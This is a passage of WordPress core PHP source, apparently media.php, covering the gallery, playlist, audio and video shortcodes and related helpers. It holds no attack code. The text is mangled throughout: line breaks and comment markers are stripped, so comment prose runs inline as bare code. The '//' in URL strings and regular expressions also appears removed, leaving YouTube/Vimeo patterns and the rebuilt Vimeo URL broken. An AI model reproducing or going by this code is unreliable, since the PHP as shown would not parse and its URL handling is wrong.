`$attr` parameter to set the shortcode output. New attributes included * such as `size`, `itemtag`, `icontag`, `captiontag`, and columns. Changed markup from * `div` tags to `dl`, `dt` and `dd` tags. Support more than one gallery on the * same page. * @since 2.9.0 Added support for `include` and `exclude` to shortcode. * @since 3.5.0 Use get_post() instead of global `$post`. Handle mapping of `ids` to `include` * and `orderby`. * @since 3.6.0 Added validation for tags used in gallery shortcode. Add orientation information to items. * @since 3.7.0 Introduced the `link` attribute. * @since 3.9.0 `html5` gallery support, accepting 'itemtag', 'icontag', and 'captiontag' attributes. * @since 4.0.0 Removed use of `extract()`. * @since 4.1.0 Added attribute to `wp_get_attachment_link()` to output `aria-describedby`. * @since 4.2.0 Passed the shortcode instance ID to `post_gallery` and `post_playlist` filters. * @since 4.6.0 Standardized filter docs to match documentation standards for PHP. * @since 5.1.0 Code cleanup for WPCS 1.0.0 coding standards. * @since 5.3.0 Saved progress of intermediate image creation after upload. * @since 5.5.0 Ensured that galleries can be output as a list of links in feeds. * @since 5.6.0 Replaced order-style PHP type conversion functions with typecasts. Fix logic for * an array of image dimensions. * * @param array $attr { * Attributes of the gallery shortcode. * * @type string $order Order of the images in the gallery. Default 'ASC'. Accepts 'ASC', 'DESC'. * @type string $orderby The field to use when ordering the images. Default 'menu_order ID'. * Accepts any valid SQL ORDERBY statement. * @type int $id Post ID. * @type string $itemtag HTML tag to use for each image in the gallery. * Default 'dl', or 'figure' when the theme registers HTML5 gallery support. * @type string $icontag HTML tag to use for each image's icon. * Default 'dt', or 'div' when the theme registers HTML5 gallery support. * @type string $captiontag HTML tag to use for each image's caption. * Default 'dd', or 'figcaption' when the theme registers HTML5 gallery support. * @type int $columns Number of columns of images to display. Default 3. * @type string|int[] $size Size of the images to display. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'thumbnail'. * @type string $ids A comma-separated list of IDs of attachments to display. Default empty. * @type string $include A comma-separated list of IDs of attachments to include. Default empty. * @type string $exclude A comma-separated list of IDs of attachments to exclude. Default empty. * @type string $link What to link each image to. Default empty (links to the attachment page). * Accepts 'file', 'none'. * } * @return string HTML content to display gallery. function gallery_shortcode( $attr ) { $post = get_post(); static $instance = 0; $instance++; if ( ! empty( $attr['ids'] ) ) { 'ids' is explicitly ordered, unless you specify otherwise. if ( empty( $attr['orderby'] ) ) { $attr['orderby'] = 'post__in'; } $attr['include'] = $attr['ids']; } * * Filters the default gallery shortcode output. * * If the filtered output isn't empty, it will be used instead of generating * the default gallery template. * * @since 2.5.0 * @since 4.2.0 The `$instance` parameter was added. * * @see gallery_shortcode() * * @param string $output The gallery output. Default empty. * @param array $attr Attributes of the gallery shortcode. * @param int $instance Unique numeric ID of this gallery shortcode instance. $output = apply_filters( 'post_gallery', '', $attr, $instance ); if ( ! empty( $output ) ) { return $output; } $html5 = current_theme_supports( 'html5', 'gallery' ); $atts = shortcode_atts( array( 'order' => 'ASC', 'orderby' => 'menu_order ID', 'id' => $post ? $post->ID : 0, 'itemtag' => $html5 ? 'figure' : 'dl', 'icontag' => $html5 ? 'div' : 'dt', 'captiontag' => $html5 ? 'figcaption' : 'dd', 'columns' => 3, 'size' => 'thumbnail', 'include' => '', 'exclude' => '', 'link' => '', ), $attr, 'gallery' ); $id = (int) $atts['id']; if ( ! empty( $atts['include'] ) ) { $_attachments = get_posts( array( 'include' => $atts['include'], 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'], ) ); $attachments = array(); foreach ( $_attachments as $key => $val ) { $attachments[ $val->ID ] = $_attachments[ $key ]; } } elseif ( ! empty( $atts['exclude'] ) ) { $post_parent_id = $id; $attachments = get_children( array( 'post_parent' => $id, 'exclude' => $atts['exclude'], 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'], ) ); } else { $post_parent_id = $id; $attachments = get_children( array( 'post_parent' => $id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'], ) ); } if ( ! empty( $post_parent_id ) ) { $post_parent = get_post( $post_parent_id ); terminate the shortcode execution if user cannot read the post or password-protected if ( ( ! is_post_publicly_viewable( $post_parent->ID ) && ! current_user_can( 'read_post', $post_parent->ID ) ) || post_password_required( $post_parent ) ) { return ''; } } if ( empty( $attachments ) ) { return ''; } if ( is_feed() ) { $output = "\n"; foreach ( $attachments as $att_id => $attachment ) { if ( ! empty( $atts['link'] ) ) { if ( 'none' === $atts['link'] ) { $output .= wp_get_attachment_image( $att_id, $atts['size'], false, $attr ); } else { $output .= wp_get_attachment_link( $att_id, $atts['size'], false ); } } else { $output .= wp_get_attachment_link( $att_id, $atts['size'], true ); } $output .= "\n"; } return $output; } $itemtag = tag_escape( $atts['itemtag'] ); $captiontag = tag_escape( $atts['captiontag'] ); $icontag = tag_escape( $atts['icontag'] ); $valid_tags = wp_kses_allowed_html( 'post' ); if ( ! isset( $valid_tags[ $itemtag ] ) ) { $itemtag = 'dl'; } if ( ! isset( $valid_tags[ $captiontag ] ) ) { $captiontag = 'dd'; } if ( ! isset( $valid_tags[ $icontag ] ) ) { $icontag = 'dt'; } $columns = (int) $atts['columns']; $itemwidth = $columns > 0 ? floor( 100 / $columns ) : 100; $float = is_rtl() ? 'right' : 'left'; $selector = "gallery-{$instance}"; $gallery_style = ''; * * Filters whether to print default gallery styles. * * @since 3.1.0 * * @param bool $print Whether to print default gallery styles. * Defaults to false if the theme supports HTML5 galleries. * Otherwise, defaults to true. if ( apply_filters( 'use_default_gallery_style', ! $html5 ) ) { $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; $gallery_style = " <style{$type_attr}> #{$selector} { margin: auto; } #{$selector} .gallery-item { float: {$float}; margin-top: 10px; text-align: center; width: {$itemwidth}%; } #{$selector} img { border: 2px solid #cfcfcf; } #{$selector} .gallery-caption { margin-left: 0; } see gallery_shortcode() in wp-includes/media.php </style>\n\t\t"; } $size_class = sanitize_html_class( is_array( $atts['size'] ) ? implode( 'x', $atts['size'] ) : $atts['size'] ); $gallery_div = "<div id='$selector' class='gallery galleryid-{$id} gallery-columns-{$columns} gallery-size-{$size_class}'>"; * * Filters the default gallery shortcode CSS styles. * * @since 2.5.0 * * @param string $gallery_style Default CSS styles and opening HTML div container * for the gallery shortcode output. $output = apply_filters( 'gallery_style', $gallery_style . $gallery_div ); $i = 0; foreach ( $attachments as $id => $attachment ) { $attr = ( trim( $attachment->post_excerpt ) ) ? array( 'aria-describedby' => "$selector-$id" ) : ''; if ( ! empty( $atts['link'] ) && 'file' === $atts['link'] ) { $image_output = wp_get_attachment_link( $id, $atts['size'], false, false, false, $attr ); } elseif ( ! empty( $atts['link'] ) && 'none' === $atts['link'] ) { $image_output = wp_get_attachment_image( $id, $atts['size'], false, $attr ); } else { $image_output = wp_get_attachment_link( $id, $atts['size'], true, false, false, $attr ); } $image_meta = wp_get_attachment_metadata( $id ); $orientation = ''; if ( isset( $image_meta['height'], $image_meta['width'] ) ) { $orientation = ( $image_meta['height'] > $image_meta['width'] ) ? 'portrait' : 'landscape'; } $output .= "<{$itemtag} class='gallery-item'>"; $output .= " <{$icontag} class='gallery-icon {$orientation}'> $image_output </{$icontag}>"; if ( $captiontag && trim( $attachment->post_excerpt ) ) { $output .= " <{$captiontag} class='wp-caption-text gallery-caption' id='$selector-$id'> " . wptexturize( $attachment->post_excerpt ) . " </{$captiontag}>"; } $output .= "</{$itemtag}>"; if ( ! $html5 && $columns > 0 && 0 === ++$i % $columns ) { $output .= '<br style="clear: both" />'; } } if ( ! $html5 && $columns > 0 && 0 !== $i % $columns ) { $output .= " <br style='clear: both' />"; } $output .= " </div>\n"; return $output; } * * Outputs the templates used by playlists. * * @since 3.9.0 function wp_underscore_playlist_templates() { ?> <script type="text/html" id="tmpl-wp-playlist-current-item"> <# if ( data.thumb && data.thumb.src ) { #> <img src="{{ data.thumb.src }}" alt="" /> <# } #> <div class="wp-playlist-caption"> <span class="wp-playlist-item-meta wp-playlist-item-title"> <?php translators: %s: Playlist item title. printf( _x( '“%s”', 'playlist item title' ), '{{ data.title }}' ); ?> </span> <# if ( data.meta.album ) { #><span class="wp-playlist-item-meta wp-playlist-item-album">{{ data.meta.album }}</span><# } #> <# if ( data.meta.artist ) { #><span class="wp-playlist-item-meta wp-playlist-item-artist">{{ data.meta.artist }}</span><# } #> </div> </script> <script type="text/html" id="tmpl-wp-playlist-item"> <div class="wp-playlist-item"> <a class="wp-playlist-caption" href="{{ data.src }}"> {{ data.index ? ( data.index + '. ' ) : '' }} <# if ( data.caption ) { #> {{ data.caption }} <# } else { #> <span class="wp-playlist-item-title"> <?php translators: %s: Playlist item title. printf( _x( '“%s”', 'playlist item title' ), '{{{ data.title }}}' ); ?> </span> <# if ( data.artists && data.meta.artist ) { #> <span class="wp-playlist-item-artist"> — {{ data.meta.artist }}</span> <# } #> <# } #> </a> <# if ( data.meta.length_formatted ) { #> <div class="wp-playlist-item-length">{{ data.meta.length_formatted }}</div> <# } #> </div> </script> <?php } * * Outputs and enqueues default scripts and styles for playlists. * * @since 3.9.0 * * @param string $type Type of playlist. Accepts 'audio' or 'video'. function wp_playlist_scripts( $type ) { wp_enqueue_style( 'wp-mediaelement' ); wp_enqueue_script( 'wp-playlist' ); ?> <!--[if lt IE 9]><script>document.createElement('<?php echo esc_js( $type ); ?>');</script><![endif]--> <?php add_action( 'wp_footer', 'wp_underscore_playlist_templates', 0 ); add_action( 'admin_footer', 'wp_underscore_playlist_templates', 0 ); } * * Builds the Playlist shortcode output. * * This implements the functionality of the playlist shortcode for displaying * a collection of WordPress audio or video files in a post. * * @since 3.9.0 * * @global int $content_width * * @param array $attr { * Array of default playlist attributes. * * @type string $type Type of playlist to display. Accepts 'audio' or 'video'. Default 'audio'. * @type string $order Designates ascending or descending order of items in the playlist. * Accepts 'ASC', 'DESC'. Default 'ASC'. * @type string $orderby Any column, or columns, to sort the playlist. If $ids are * passed, this defaults to the order of the $ids array ('post__in'). * Otherwise default is 'menu_order ID'. * @type int $id If an explicit $ids array is not present, this parameter * will determine which attachments are used for the playlist. * Default is the current post ID. * @type array $ids Create a playlist out of these explicit attachment IDs. If empty, * a playlist will be created from all $type attachments of $id. * Default empty. * @type array $exclude List of specific attachment IDs to exclude from the playlist. Default empty. * @type string $style Playlist style to use. Accepts 'light' or 'dark'. Default 'light'. * @type bool $tracklist Whether to show or hide the playlist. Default true. * @type bool $tracknumbers Whether to show or hide the numbers next to entries in the playlist. Default true. * @type bool $images Show or hide the video or audio thumbnail (Featured Image/post * thumbnail). Default true. * @type bool $artists Whether to show or hide artist name in the playlist. Default true. * } * * @return string Playlist output. Empty string if the passed type is unsupported. function wp_playlist_shortcode( $attr ) { global $content_width; $post = get_post(); static $instance = 0; $instance++; if ( ! empty( $attr['ids'] ) ) { 'ids' is explicitly ordered, unless you specify otherwise. if ( empty( $attr['orderby'] ) ) { $attr['orderby'] = 'post__in'; } $attr['include'] = $attr['ids']; } * * Filters the playlist output. * * Returning a non-empty value from the filter will short-circuit generation * of the default playlist output, returning the passed value instead. * * @since 3.9.0 * @since 4.2.0 The `$instance` parameter was added. * * @param string $output Playlist output. Default empty. * @param array $attr An array of shortcode attributes. * @param int $instance Unique numeric ID of this playlist shortcode instance. $output = apply_filters( 'post_playlist', '', $attr, $instance ); if ( ! empty( $output ) ) { return $output; } $atts = shortcode_atts( array( 'type' => 'audio', 'order' => 'ASC', 'orderby' => 'menu_order ID', 'id' => $post ? $post->ID : 0, 'include' => '', 'exclude' => '', 'style' => 'light', 'tracklist' => true, 'tracknumbers' => true, 'images' => true, 'artists' => true, ), $attr, 'playlist' ); $id = (int) $atts['id']; if ( 'audio' !== $atts['type'] ) { $atts['type'] = 'video'; } $args = array( 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => $atts['type'], 'order' => $atts['order'], 'orderby' => $atts['orderby'], ); if ( ! empty( $atts['include'] ) ) { $args['include'] = $atts['include']; $_attachments = get_posts( $args ); $attachments = array(); foreach ( $_attachments as $key => $val ) { $attachments[ $val->ID ] = $_attachments[ $key ]; } } elseif ( ! empty( $atts['exclude'] ) ) { $args['post_parent'] = $id; $args['exclude'] = $atts['exclude']; $attachments = get_children( $args ); } else { $args['post_parent'] = $id; $attachments = get_children( $args ); } if ( ! empty( $args['post_parent'] ) ) { $post_parent = get_post( $id ); terminate the shortcode execution if user cannot read the post or password-protected if ( ! current_user_can( 'read_post', $post_parent->ID ) || post_password_required( $post_parent ) ) { return ''; } } if ( empty( $attachments ) ) { return ''; } if ( is_feed() ) { $output = "\n"; foreach ( $attachments as $att_id => $attachment ) { $output .= wp_get_attachment_link( $att_id ) . "\n"; } return $output; } $outer = 22; Default padding and border of wrapper. $default_width = 640; $default_height = 360; $theme_width = empty( $content_width ) ? $default_width : ( $content_width - $outer ); $theme_height = empty( $content_width ) ? $default_height : round( ( $default_height * $theme_width ) / $default_width ); $data = array( 'type' => $atts['type'], Don't pass strings to JSON, will be truthy in JS. 'tracklist' => wp_validate_boolean( $atts['tracklist'] ), 'tracknumbers' => wp_validate_boolean( $atts['tracknumbers'] ), 'images' => wp_validate_boolean( $atts['images'] ), 'artists' => wp_validate_boolean( $atts['artists'] ), ); $tracks = array(); foreach ( $attachments as $attachment ) { $url = wp_get_attachment_url( $attachment->ID ); $ftype = wp_check_filetype( $url, wp_get_mime_types() ); $track = array( 'src' => $url, 'type' => $ftype['type'], 'title' => $attachment->post_title, 'caption' => $attachment->post_excerpt, 'description' => $attachment->post_content, ); $track['meta'] = array(); $meta = wp_get_attachment_metadata( $attachment->ID ); if ( ! empty( $meta ) ) { foreach ( wp_get_attachment_id3_keys( $attachment ) as $key => $label ) { if ( ! empty( $meta[ $key ] ) ) { $track['meta'][ $key ] = $meta[ $key ]; } } if ( 'video' === $atts['type'] ) { if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) { $width = $meta['width']; $height = $meta['height']; $theme_height = round( ( $height * $theme_width ) / $width ); } else { $width = $default_width; $height = $default_height; } $track['dimensions'] = array( 'original' => compact( 'width', 'height' ), 'resized' => array( 'width' => $theme_width, 'height' => $theme_height, ), ); } } if ( $atts['images'] ) { $thumb_id = get_post_thumbnail_id( $attachment->ID ); if ( ! empty( $thumb_id ) ) { list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'full' ); $track['image'] = compact( 'src', 'width', 'height' ); list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'thumbnail' ); $track['thumb'] = compact( 'src', 'width', 'height' ); } else { $src = wp_mime_type_icon( $attachment->ID ); $width = 48; $height = 64; $track['image'] = compact( 'src', 'width', 'height' ); $track['thumb'] = compact( 'src', 'width', 'height' ); } } $tracks[] = $track; } $data['tracks'] = $tracks; $safe_type = esc_attr( $atts['type'] ); $safe_style = esc_attr( $atts['style'] ); ob_start(); if ( 1 === $instance ) { * * Prints and enqueues playlist scripts, styles, and JavaScript templates. * * @since 3.9.0 * * @param string $type Type of playlist. Possible values are 'audio' or 'video'. * @param string $style The 'theme' for the playlist. Core provides 'light' and 'dark'. do_action( 'wp_playlist_scripts', $atts['type'], $atts['style'] ); } ?> <div class="wp-playlist wp-<?php echo $safe_type; ?>-playlist wp-playlist-<?php echo $safe_style; ?>"> <?php if ( 'audio' === $atts['type'] ) : ?> <div class="wp-playlist-current-item"></div> <?php endif; ?> <<?php echo $safe_type; ?> controls="controls" preload="none" width="<?php echo (int) $theme_width; ?>" <?php if ( 'video' === $safe_type ) { echo ' height="', (int) $theme_height, '"'; } ?> ></<?php echo $safe_type; ?>> <div class="wp-playlist-next"></div> <div class="wp-playlist-prev"></div> <noscript> <ol> <?php foreach ( $attachments as $att_id => $attachment ) { printf( '<li>%s</li>', wp_get_attachment_link( $att_id ) ); } ?> </ol> </noscript> <script type="application/json" class="wp-playlist-script"><?php echo wp_json_encode( $data ); ?></script> </div> <?php return ob_get_clean(); } add_shortcode( 'playlist', 'wp_playlist_shortcode' ); * * Provides a No-JS Flash fallback as a last resort for audio / video. * * @since 3.6.0 * * @param string $url The media element URL. * @return string Fallback HTML. function wp_mediaelement_fallback( $url ) { * * Filters the Mediaelement fallback output for no-JS. * * @since 3.6.0 * * @param string $output Fallback output for no-JS. * @param string $url Media file URL. return apply_filters( 'wp_mediaelement_fallback', sprintf( '<a href="%1$s">%1$s</a>', esc_url( $url ) ), $url ); } * * Returns a filtered list of supported audio formats. * * @since 3.6.0 * * @return string[] Supported audio formats. function wp_get_audio_extensions() { * * Filters the list of supported audio formats. * * @since 3.6.0 * * @param string[] $extensions An array of supported audio formats. Defaults are * 'mp3', 'ogg', 'flac', 'm4a', 'wav'. return apply_filters( 'wp_audio_extensions', array( 'mp3', 'ogg', 'flac', 'm4a', 'wav' ) ); } * * Returns useful keys to use to lookup data from an attachment's stored metadata. * * @since 3.9.0 * * @param WP_Post $attachment The current attachment, provided for context. * @param string $context Optional. The context. Accepts 'edit', 'display'. Default 'display'. * @return string[] Key/value pairs of field keys to labels. function wp_get_attachment_id3_keys( $attachment, $context = 'display' ) { $fields = array( 'artist' => __( 'Artist' ), 'album' => __( 'Album' ), ); if ( 'display' === $context ) { $fields['genre'] = __( 'Genre' ); $fields['year'] = __( 'Year' ); $fields['length_formatted'] = _x( 'Length', 'video or audio' ); } elseif ( 'js' === $context ) { $fields['bitrate'] = __( 'Bitrate' ); $fields['bitrate_mode'] = __( 'Bitrate Mode' ); } * * Filters the editable list of keys to look up data from an attachment's metadata. * * @since 3.9.0 * * @param array $fields Key/value pairs of field keys to labels. * @param WP_Post $attachment Attachment object. * @param string $context The context. Accepts 'edit', 'display'. Default 'display'. return apply_filters( 'wp_get_attachment_id3_keys', $fields, $attachment, $context ); } * * Builds the Audio shortcode output. * * This implements the functionality of the Audio Shortcode for displaying * WordPress mp3s in a post. * * @since 3.6.0 * * @param array $attr { * Attributes of the audio shortcode. * * @type string $src URL to the source of the audio file. Default empty. * @type string $loop The 'loop' attribute for the `<audio>` element. Default empty. * @type string $autoplay The 'autoplay' attribute for the `<audio>` element. Default empty. * @type string $preload The 'preload' attribute for the `<audio>` element. Default 'none'. * @type string $class The 'class' attribute for the `<audio>` element. Default 'wp-audio-shortcode'. * @type string $style The 'style' attribute for the `<audio>` element. Default 'width: 100%;'. * } * @param string $content Shortcode content. * @return string|void HTML content to display audio. function wp_audio_shortcode( $attr, $content = '' ) { $post_id = get_post() ? get_the_ID() : 0; static $instance = 0; $instance++; * * Filters the default audio shortcode output. * * If the filtered output isn't empty, it will be used instead of generating the default audio template. * * @since 3.6.0 * * @param string $html Empty variable to be replaced with shortcode markup. * @param array $attr Attributes of the shortcode. @see wp_audio_shortcode() * @param string $content Shortcode content. * @param int $instance Unique numeric ID of this audio shortcode instance. $override = apply_filters( 'wp_audio_shortcode_override', '', $attr, $content, $instance ); if ( '' !== $override ) { return $override; } $audio = null; $default_types = wp_get_audio_extensions(); $defaults_atts = array( 'src' => '', 'loop' => '', 'autoplay' => '', 'preload' => 'none', 'class' => 'wp-audio-shortcode', 'style' => 'width: 100%;', ); foreach ( $default_types as $type ) { $defaults_atts[ $type ] = ''; } $atts = shortcode_atts( $defaults_atts, $attr, 'audio' ); $primary = false; if ( ! empty( $atts['src'] ) ) { $type = wp_check_filetype( $atts['src'], wp_get_mime_types() ); if ( ! in_array( strtolower( $type['ext'] ), $default_types, true ) ) { return sprintf( '<a class="wp-embedded-audio" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) ); } $primary = true; array_unshift( $default_types, 'src' ); } else { foreach ( $default_types as $ext ) { if ( ! empty( $atts[ $ext ] ) ) { $type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() ); if ( strtolower( $type['ext'] ) === $ext ) { $primary = true; } } } } if ( ! $primary ) { $audios = get_attached_media( 'audio', $post_id ); if ( empty( $audios ) ) { return; } $audio = reset( $audios ); $atts['src'] = wp_get_attachment_url( $audio->ID ); if ( empty( $atts['src'] ) ) { return; } array_unshift( $default_types, 'src' ); } * * Filters the media library used for the audio shortcode. * * @since 3.6.0 * * @param string $library Media library used for the audio shortcode. $library = apply_filters( 'wp_audio_shortcode_library', 'mediaelement' ); if ( 'mediaelement' === $library && did_action( 'init' ) ) { wp_enqueue_style( 'wp-mediaelement' ); wp_enqueue_script( 'wp-mediaelement' ); } * * Filters the class attribute for the audio shortcode output container. * * @since 3.6.0 * @since 4.9.0 The `$atts` parameter was added. * * @param string $class CSS class or list of space-separated classes. * @param array $atts Array of audio shortcode attributes. $atts['class'] = apply_filters( 'wp_audio_shortcode_class', $atts['class'], $atts ); $html_atts = array( 'class' => $atts['class'], 'id' => sprintf( 'audio-%d-%d', $post_id, $instance ), 'loop' => wp_validate_boolean( $atts['loop'] ), 'autoplay' => wp_validate_boolean( $atts['autoplay'] ), 'preload' => $atts['preload'], 'style' => $atts['style'], ); These ones should just be omitted altogether if they are blank. foreach ( array( 'loop', 'autoplay', 'preload' ) as $a ) { if ( empty( $html_atts[ $a ] ) ) { unset( $html_atts[ $a ] ); } } $attr_strings = array(); foreach ( $html_atts as $k => $v ) { $attr_strings[] = $k . '="' . esc_attr( $v ) . '"'; } $html = ''; if ( 'mediaelement' === $library && 1 === $instance ) { $html .= "<!--[if lt IE 9]><script>document.createElement('audio');</script><![endif]-->\n"; } $html .= sprintf( '<audio %s controls="controls">', implode( ' ', $attr_strings ) ); $fileurl = ''; $source = '<source type="%s" src="%s" />'; foreach ( $default_types as $fallback ) { if ( ! empty( $atts[ $fallback ] ) ) { if ( empty( $fileurl ) ) { $fileurl = $atts[ $fallback ]; } $type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() ); $url = add_query_arg( '_', $instance, $atts[ $fallback ] ); $html .= sprintf( $source, $type['type'], esc_url( $url ) ); } } if ( 'mediaelement' === $library ) { $html .= wp_mediaelement_fallback( $fileurl ); } $html .= '</audio>'; * * Filters the audio shortcode output. * * @since 3.6.0 * * @param string $html Audio shortcode HTML output. * @param array $atts Array of audio shortcode attributes. * @param string $audio Audio file. * @param int $post_id Post ID. * @param string $library Media library used for the audio shortcode. return apply_filters( 'wp_audio_shortcode', $html, $atts, $audio, $post_id, $library ); } add_shortcode( 'audio', 'wp_audio_shortcode' ); * * Returns a filtered list of supported video formats. * * @since 3.6.0 * * @return string[] List of supported video formats. function wp_get_video_extensions() { * * Filters the list of supported video formats. * * @since 3.6.0 * * @param string[] $extensions An array of supported video formats. Defaults are * 'mp4', 'm4v', 'webm', 'ogv', 'flv'. return apply_filters( 'wp_video_extensions', array( 'mp4', 'm4v', 'webm', 'ogv', 'flv' ) ); } * * Builds the Video shortcode output. * * This implements the functionality of the Video Shortcode for displaying * WordPress mp4s in a post. * * @since 3.6.0 * * @global int $content_width * * @param array $attr { * Attributes of the shortcode. * * @type string $src URL to the source of the video file. Default empty. * @type int $height Height of the video embed in pixels. Default 360. * @type int $width Width of the video embed in pixels. Default $content_width or 640. * @type string $poster The 'poster' attribute for the `<video>` element. Default empty. * @type string $loop The 'loop' attribute for the `<video>` element. Default empty. * @type string $autoplay The 'autoplay' attribute for the `<video>` element. Default empty. * @type string $muted The 'muted' attribute for the `<video>` element. Default false. * @type string $preload The 'preload' attribute for the `<video>` element. * Default 'metadata'. * @type string $class The 'class' attribute for the `<video>` element. * Default 'wp-video-shortcode'. * } * @param string $content Shortcode content. * @return string|void HTML content to display video. function wp_video_shortcode( $attr, $content = '' ) { global $content_width; $post_id = get_post() ? get_the_ID() : 0; static $instance = 0; $instance++; * * Filters the default video shortcode output. * * If the filtered output isn't empty, it will be used instead of generating * the default video template. * * @since 3.6.0 * * @see wp_video_shortcode() * * @param string $html Empty variable to be replaced with shortcode markup. * @param array $attr Attributes of the shortcode. @see wp_video_shortcode() * @param string $content Video shortcode content. * @param int $instance Unique numeric ID of this video shortcode instance. $override = apply_filters( 'wp_video_shortcode_override', '', $attr, $content, $instance ); if ( '' !== $override ) { return $override; } $video = null; $default_types = wp_get_video_extensions(); $defaults_atts = array( 'src' => '', 'poster' => '', 'loop' => '', 'autoplay' => '', 'muted' => 'false', 'preload' => 'metadata', 'width' => 640, 'height' => 360, 'class' => 'wp-video-shortcode', ); foreach ( $default_types as $type ) { $defaults_atts[ $type ] = ''; } $atts = shortcode_atts( $defaults_atts, $attr, 'video' ); if ( is_admin() ) { Shrink the video so it isn't huge in the admin. if ( $atts['width'] > $defaults_atts['width'] ) { $atts['height'] = round( ( $atts['height'] * $defaults_atts['width'] ) / $atts['width'] ); $atts['width'] = $defaults_atts['width']; } } else { If the video is bigger than the theme. if ( ! empty( $content_width ) && $atts['width'] > $content_width ) { $atts['height'] = round( ( $atts['height'] * $content_width ) / $atts['width'] ); $atts['width'] = $content_width; } } $is_vimeo = false; $is_youtube = false; $yt_pattern = '#^https?:(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#'; $vimeo_pattern = '#^https?:(.+\.)?vimeo\.com/.*#'; $primary = false; if ( ! empty( $atts['src'] ) ) { $is_vimeo = ( preg_match( $vimeo_pattern, $atts['src'] ) ); $is_youtube = ( preg_match( $yt_pattern, $atts['src'] ) ); if ( ! $is_youtube && ! $is_vimeo ) { $type = wp_check_filetype( $atts['src'], wp_get_mime_types() ); if ( ! in_array( strtolower( $type['ext'] ), $default_types, true ) ) { return sprintf( '<a class="wp-embedded-video" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) ); } } if ( $is_vimeo ) { wp_enqueue_script( 'mediaelement-vimeo' ); } $primary = true; array_unshift( $default_types, 'src' ); } else { foreach ( $default_types as $ext ) { if ( ! empty( $atts[ $ext ] ) ) { $type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() ); if ( strtolower( $type['ext'] ) === $ext ) { $primary = true; } } } } if ( ! $primary ) { $videos = get_attached_media( 'video', $post_id ); if ( empty( $videos ) ) { return; } $video = reset( $videos ); $atts['src'] = wp_get_attachment_url( $video->ID ); if ( empty( $atts['src'] ) ) { return; } array_unshift( $default_types, 'src' ); } * * Filters the media library used for the video shortcode. * * @since 3.6.0 * * @param string $library Media library used for the video shortcode. $library = apply_filters( 'wp_video_shortcode_library', 'mediaelement' ); if ( 'mediaelement' === $library && did_action( 'init' ) ) { wp_enqueue_style( 'wp-mediaelement' ); wp_enqueue_script( 'wp-mediaelement' ); wp_enqueue_script( 'mediaelement-vimeo' ); } MediaElement.js has issues with some URL formats for Vimeo and YouTube, so update the URL to prevent the ME.js player from breaking. if ( 'mediaelement' === $library ) { if ( $is_youtube ) { Remove `feature` query arg and force SSL - see #40866. $atts['src'] = remove_query_arg( 'feature', $atts['src'] ); $atts['src'] = set_url_scheme( $atts['src'], 'https' ); } elseif ( $is_vimeo ) { Remove all query arguments and force SSL - see #40866. $parsed_vimeo_url = wp_parse_url( $atts['src'] ); $vimeo_src = 'https:' . $parsed_vimeo_url['host'] . $parsed_vimeo_url['path']; Add loop param for mejs bug - see #40977, not needed after #39686. $loop = $atts['loop'] ? '1' : '0'; $atts['src'] = add_query_arg( 'loop', $loop, $vimeo_src ); } } * * Filters the class attribute for the video shortcode output container. * * @since 3.6.0 * @since 4.9.0 The `$atts` parameter was added. * * @param string $class CSS class or list of space-separated classes. * @param array $atts Array of video shortcode attributes. $atts['class'] = apply_filters( 'wp_video_shortcode_class', $atts['class'], $atts ); $html_atts = array( 'class' => $atts['class'], 'id' => sprintf( 'video-%d-%d', $post_id, $instance ), 'width' => absint( $atts['width'] ), 'height' => absint( $atts['height'] ), 'poster' => esc_url( $atts['poster'] ), 'loop' => wp_validate_boolean( $atts['loop'] ), 'autoplay' => wp_validate_boolean( $atts['autoplay'] ), 'muted' => wp_validate_boolean( $atts['muted'] ), 'preload' => $atts['preload'], ); These ones should just be omitted altogether if they are blank. foreach ( array( 'poster', 'loop', 'autoplay', 'preload', 'muted' ) as $a ) { if ( empty( $html_atts[ $a ] ) ) { unset( $html_atts[ $a ] ); } } $attr_strings = array(); foreach ( $html_atts as $k => $v ) { $attr_strings[] = $k . '="' . esc_attr( $v ) . '"'; } $html = ''; if ( 'mediaelement' === $library && 1 === $instance ) { $html .= "<!--[if lt IE 9]><script>document.createElement('video');</script><![endif]-->\n"; } $html .= sprintf( '<video %s controls="controls">', implode( ' ', $attr_strings ) ); $fileurl = ''; $source = '<source type="%s" src="%s" />'; foreach ( $default_types as $fallback ) { if ( ! empty( $atts[ $fallback ] ) ) { if ( empty( $fileurl ) ) { $fileurl = $atts[ $fallback ]; } if ( 'src' === $fallback && $is_youtube ) { $type = array( 'type' => 'video/youtube' ); } elseif ( 'src' === $fallback && $is_vimeo ) { $type = array( 'type' => 'video/vimeo' ); } else { $type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() ); } $url = add_query_arg( '_', $instance, $atts[ $fallback ] ); $html .= sprintf( $source, $type['type'], esc_url( $url ) ); } } if ( ! empty( $content ) ) { if ( false !== strpos( $content, "\n" ) ) { $content = str_replace( array( "\r\n", "\n", "\t" ), '', $content ); } $html .= trim( $content ); } if ( 'mediaelement' === $library ) { $html .= wp_mediaelement_fallback( $fileurl ); } $html .= '</video>'; $width_rule = ''; if ( ! empty( $atts['width'] ) ) { $width_rule = sprintf( 'width: %dpx;', $atts['width'] ); } $output = sprintf( '<div style="%s" class="wp-video">%s</div>', $width_rule, $html ); * * Filters the output of the video shortcode. * * @since 3.6.0 * * @param string $output Video shortcode HTML output. * @param array $atts Array of video shortcode attributes. * @param string $video Video file. * @param int $post_id Post ID. * @param string $library Media library used for the video shortcode. return apply_filters( 'wp_video_shortcode', $output, $atts, $video, $post_id, $library ); } add_shortcode( 